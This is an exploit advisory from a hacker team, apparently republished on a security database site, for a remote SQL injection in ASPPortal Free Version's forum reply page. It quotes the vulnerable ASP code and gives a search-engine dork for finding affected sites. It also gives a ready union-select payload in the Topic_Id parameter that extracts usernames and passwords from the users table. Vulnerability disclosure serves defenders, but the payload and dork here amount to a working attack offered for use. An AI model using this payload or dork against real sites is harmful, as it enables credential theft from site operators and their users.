ASPPortal Free Version (Topic_Id) Remote SQL Injection Vulnerability

Advisory Content :

--==+=================== Spanish Hackers Team (www.spanish-hackers.com)
=================+==--
--==+ ASPPortal Free Version (Topic_Id) Remote SQL Injection
Vulnerability +==--
--==+======================================================================
==============+==--
- dreaming of necessity is reason to comply -

[+] Info:

[~] Bug found by JosS
[~] sys-project[at]hotmail.com
[~] http://www.spanish-hackers.com
[~] EspSeC & Hack0wn!.

[~] Software: ASPPortal Free Version
[~] HomePage: http://www.aspportal.net/
[~] Exploit: Remote SQL Injection Vulnerability [High]

[~] Dork: "Powered by www.aspportal.net"

[+] Remote SQL Injection:

[~] Vuln file: /content/forums/reply.asp

// -------------------------------------- //

line 2: <%
Dim TopicID
Dim ForumID

TopicID = Server.HTMLEncode(request("Topic_id"))
ForumID = Server.HTMLEncode(request("Forum_ID"))
%>
<%
'sub db_select_detail_Disc_Topics
sql="SELECT Forums_Topics.Topic_ID, Forums_Topics.Forum_ID,
Forums_Topics.Author, Forums_Topics.Topic_Subject,
Forums_Topics.Topic_Message, Forums_Topics.IsActive,
Forums_Topics.IsLocked, Forums_Topics.Date_Added, Forums_Topics.Created_By,
Forums_Topics.Enable_EMail, Forums_Topics.Enable_Sign, Forums_Topics.Icon,
users.Username, users.User_id, users.Signature FROM users RIGHT OUTER JOIN
Forums_Topics ON users.User_id = Forums_Topics.Author Where Topic_ID = " &
to_sql(TopicID,"number") & ""

'response.write sql

set rs = cn.Execute(sql)

line 21: TopicId = rs("Topic_Id")

// -------------------------------------- //

[~]
http://localhost/PATH/content/forums/reply.asp?Forum_Id=3&Topic_Id=[SQL]
[~]
6+and+1=2+union+select+1,2,3,4,Password,6,7,Username,9,0,1,2,3,4,5+from+use
rs

[~] GreeTz: str0ke; nhh-32; an0de; ka0x; s3ism0; ayin; k0rde; zy0nx;
you_know; shh-32; nettoxic; phnx; murder; and more...

* In memory of rgod

--==+=================== Spanish Hackers Team (www.spanish-hackers.com)
=================+==--
--==+ JosS
+==--
--==+======================================================================
==============+==--
[+] [The End]

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

ASPPortal Free Version (Topic_Id) Remote SQL Injection Vulnerability